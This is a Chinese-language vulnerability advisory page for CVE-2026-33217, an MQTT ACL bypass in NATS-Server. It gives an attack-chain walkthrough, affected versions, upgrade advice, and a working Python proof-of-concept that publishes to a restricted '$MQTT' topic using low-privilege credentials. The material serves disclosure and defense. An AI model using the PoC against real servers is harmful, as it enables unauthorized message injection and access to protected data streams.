IPBUF安全漏洞报告
English
CVE-2026-33217 CVSS 7.1 高危

CVE-2026-33217: NATS-Server MQTT权限绕过漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33217
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NATS-Server

相关标签

权限绕过NATSMQTTACL绕过高危漏洞

漏洞概述

NATS-Server 在 2.11.15 和 2.12.6 之前的版本中存在安全漏洞。当配置了消息主题的访问控制列表(ACL)时,系统未能将这些限制应用于 `$MQTT.>` 命名空间。这允许低权限的 MQTT 客户端绕过 ACL 检查,成功访问或操作受保护的 MQTT 主题。该漏洞可能导致数据泄露或恶意消息注入,影响系统的完整性与机密性。

技术细节

该漏洞的根源在于 NATS-Server 处理 MQTT 协议与内部权限系统的集成逻辑存在缺陷。NATS 作为云原生消息系统,支持 MQTT 协桥接,将 MQTT 主题映射到内部的 `$MQTT.>` 命名空间。在受影响的版本中,开发者在实现 ACL 检查机制时,遗漏了对该特定命名空间的权限验证流程。通常情况下,管理员会配置严格的 ACL 规则以限制客户端对特定主题的发布或订阅权限。然而,由于该漏洞,攻击者只需具备低权限账户,即可利用 MQTT 客户端连接服务器。攻击者通过向 `$MQTT.>` 下被严格保护的受限主题发送请求(如发布恶意指令或订阅敏感数据流),服务器端不会触发拦截机制,从而直接绕过了安全策略。鉴于 CVSS 评分为 7.1(高危),且利用无需用户交互,该漏洞对内网环境下的消息总线安全构成严重威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网络上运行的 NATS-Server 实例,并确认其启用了 MQTT 支持(端口 1883 或 8883)。
STEP 2
2. 获取低权限凭证
攻击者获取一个低权限账户的凭证,该账户在常规 NATS 主题上受到严格限制,但允许 MQTT 连接。
STEP 3
3. 发起攻击
攻击者使用 MQTT 客户端连接服务器,并尝试向 `$MQTT.>` 命名空间下的敏感主题(如 `$MQTT.>restricted`)发布消息。
STEP 4
4. 绕过权限
由于漏洞,服务器未对 `$MQTT.>` 命名空间执行 ACL 检查,允许低权限用户成功发布或订阅受限主题。
STEP 5
5. 造成影响
攻击者成功注入恶意消息或窃取敏感数据,破坏了系统的完整性和机密性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import time # Configuration for the vulnerable NATS server MQTT endpoint BROKER = "127.0.0.1" PORT = 1883 # Low privilege user credentials (simulated) USERNAME = "limited_user" PASSWORD = "password" # The restricted topic that should normally be blocked by ACL # but is vulnerable under the $MQTT.> namespace RESTRICTED_TOPIC = "$MQTT.admin.commands" PAYLOAD = "Bypassed ACL check" def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to broker successfully.") # Attempt to publish to a restricted topic print(f"[*] Attempting to publish to restricted topic: {RESTRICTED_TOPIC}") client.publish(RESTRICTED_TOPIC, PAYLOAD) else: print(f"[-] Connection failed with code {rc}") def on_publish(client, userdata, mid): print(f"[+] Message published successfully (ID: {mid}). ACL bypass confirmed.") client.disconnect() client = mqtt.Client() client.username_pw_set(USERNAME, PASSWORD) client.on_connect = on_connect client.on_publish = on_publish try: client.connect(BROKER, PORT, 60) client.loop_forever() except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

nats-io/nats-server < 2.11.15
nats-io/nats-server >= 2.12.0, < 2.12.6

防御指南

临时缓解措施
官方暂无已知的临时缓解措施,建议立即升级至包含修复的版本(2.11.15 或 2.12.6 及以上)以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表